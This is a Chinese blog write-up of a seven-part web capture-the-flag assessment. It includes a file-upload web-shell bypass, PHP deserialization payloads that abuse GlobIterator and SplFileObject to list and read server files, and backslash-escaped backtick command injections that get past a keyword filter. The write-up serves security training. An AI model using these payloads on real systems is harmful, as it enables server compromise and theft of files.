2024.03.31考核Web部分 writeup

文章详细描述了多个Web安全考核点,涉及burpsuite抓包、HTTP头信息、JS源码审计、文件上传漏洞利用、PHP反序列化和魔术方法,以及GET、POST参数传递技巧。通过实例演示了如何解决这些技术问题以获取flag。
摘要由CSDN通过智能技术生成

2024.03.31考核Web部分 writeup

1. Web1

考察点:burpsuite使用、http基本信息

打开实例,可以看到一个网页:

微信截图_20240331150634

查看源码、cookie后无果,发现当前网页文件为inbex.php,与平常做题时默认访问的页面index.php不同,故在网址栏访问index.php。

发现无论怎么访问,页面都会回到inbex.php。此时需要使用burpsuite抓包工具进行操作:

(1)浏览器开启代理并访问index.php,bp抓到包,并将信息发送到重放器。

屏幕截图 2024-03-31 151019

(2)通过重放器重新发送信息,可以看到flag。

微信截图_20240331151037

附题目源码分析:

<?php
	header("Flag: TYCTF{testflag}");  //该flag仅为示例

	header('Location:inbex.php')
?>

header方法将传入的内容写入http页面的头部信息中,即上图中响应部分。

Location参数会指定访问该网页时会跳转到哪一个地方,此处意为访问index.php时会自动跳转回inbex.php中。

2. Web2

考察点:js源码审计

打开实例有一个2048游戏界面,众所周知一般情况下web题的游戏都是有捷径的,故审计网页源代码。

网页源代码无有用的内容。

微信截图_20240331151803

css代码无有用的内容。

微信截图_20240331151812

js文件中发现一段有用的内容,意为达到对应的分数后再页面弹出警告框,框中的内容可能为flag。

微信截图_20240331151852

将这段代码放入浏览器控制台,回车解码得到flag。

微信截图_20240331152020

3. Web3

考察点:简单的文件上传、一句话木马编写、burpsuite抓包

看到文件上传页面,首先测试是否有过滤:

微信截图_20240331152244

只允许上传上述文件类型,则我们尝试先在文本文档中写入一句话木马,再使用burpsuite抓包更改文件后缀。

微信截图_20240331152302

微信截图_20240331152343

将文件后缀txt改为php,后放行,回到页面发现上传成功。

微信截图_20240331152354

根据题目提示给出的文件上传路径,使用蚁剑连接shell,并拿到flag。

屏幕截图 2024-03-31 152448

微信截图_20240331152509

4. Web4

考察点:php反序列化、php伪协议、魔术方法利用、遍历文件和读取文件类的利用

源码分析:

 <?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data);  

对类a分析:

  • 定义了五个变量,未初始化

  • 魔术方法__destruct(),在对象被销毁时执行。首先执行类中定义的方法Givemeanew(),将变量u4定义为以un0为类名、un1为参数的类的实例

  • 后进入选择结构,判断un0变量不为空且un2为空,执行方法yigei(),输出变量un4,否则执行方法giao(),命令执行un2

  • 魔术方法__wakeup(),当反序列化恢复成对象时执行。会包含由变量un2与“hint.php”拼接后的文件,显示内容

  • 对POST传参变量data传值,并进行反序列化

解题思路:

(1)首先尝试查询提示文件,获得更多有用信息,这一步只需要给变量un2传入值,其他变量不需要。尝试直接序列化,无回显内容,后使用伪协议php://filter成功读取内容

<?php
class a{
    public $un0;
    public $un1;
    //与下面方法中的hint.php拼接后为完整的伪协议字符串
    public $un2="php://filter/read=convert.base64-encode/resource=";
    public $un3;
    public $un4;
} 
$a1=new a();
echo serialize($a1);
?>
序列化字符串:O:1:"a":5:{s:3:"un0";N;s:3:"un1";N;s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";s:3:"un3";N;s:3:"un4";N;}

传参获得编码:
PD9waHANCiRoaW50PSJmbGFn5Zyo5b2T5YmN55uu5b2V5Lit55qE5LulZuW8gOWktOeahHR4dOS4re+8jOaXoOazleeIhuegtOWHuuadpSI7
    
base64解码:
<?php
$hint="flag在当前目录中的以f开头的txt中,无法爆破出来";

(2)关于php读取文件,下面需要介绍遍历文件类和文件读取类:

  • 遍历文件类
  1. DirectoryIterator
  2. FilesystemIteraor
  3. GlobIterator

第一个和第二个类基于echo触发_toString方法查找指定文件名;第三个基于glob()函数,使用glob://协议读取

此处使用GlobIterator遍历以字母f开头的文本文档,该类支持模糊搜索,所以可用“f*.txt”。

<?php
class a{
    public $un0="GlobIterator";
    public $un1="glob://f*.txt";
    public $un2;
    public $un3="unserialize";
    public $un4;
} 
$a1=new a();
echo serialize($a1);
?>
序列化字符串:O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:13:"glob://f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

传入返回:Your output: flll44ggg-secret.txt

设置un0非空,un2空,通过选择结构,执行Givemeanew()方法,将查找的结果赋值给un4,后设置un3等于unserialize,调用yigei()方法,将un4打印出来。

  • 文件读取类 SplFileObject

通过**类名(文件名)**获取到文件内容。

<?php
class a{
    public $un0="SplFileObject";
    public $un1="flll44ggg-secret.txt";
    public $un2;
    public $un3="unserialize";
    public $un4;
} 
$a1=new a();
echo serialize($a1);
?>
序列化字符串:O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:20:"flll44ggg-secret.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
    
传入返回:
Your output: So Powerful! your Flag:TYCTF{202f62d1-c6e0-4932-a626-7fb624a44002}

得到flag。

5. Web5

考察点:php代码审计、Linux命令的使用、命令的内联执行

源码分析:

 <?php
## 来!!!绕!!!
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo 'So Powerful! This code is wonderful';echo '<br>';
        eval($code);
    }
    else{
        die("what do you want?????????");
    }
}
else{
    echo "尝试,并获得真理";
    show_source(__FILE__);
}
?> 

对正则表达式部分的分析:

  • / 开始正则表达式,/i 结束,表示不区分大小写
  • sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp:列出了一系列不允许执行的命令或操作,比如系统命令、文件读取、文件操作等。
  • $|*|+|^|scan|.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell:包含了一些其他的关键词或函数名,可能是为了限制一些其他的敏感操作。
  • | 表示或的关系。

(1)可以看到过滤的函数和字符很多,但是没有过滤\,可以考虑在命令字符之间插入\绕过检测。

(2)针对命令执行内容的输出,此处echo被过滤,我们可以使用printf、print_r等

(3)敏感命令执行方法被过滤,此处可用内联执行

内联执行:在PHP中,你可以使用反引号 ``(也称为反引号操作符)来执行系统命令并获取其输出。

根据上面的解释,我们有以下思路:

  • 查看当前目录和上一级目录文件,发现疑似flag文件
/?code=printf(`l\s`);
/?code=printf(`l\s /`);

微信截图_20240331160150

微信截图_20240331160201

  • 此处过滤了cat、more、less等查看文件内容的命令,可用 nl ,该命令的作用为输出文件内容,并在每行内容的开头添加行数
/?code=printf(`nl /fffffflllllllll444g`);

微信截图_20240331160541

得到flag。

6. Web6

考察点:F12查看网页源代码

进入实例看到一张皮肤原画加雪花特效,很好看,但是查看源代码,发现flag。

微信截图_20240331163828

7. Web7

考察点:GET、POST两种传参方法

根据要求使用Hackbar插件传参即可。

微信截图_20240331164000

  • 29
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值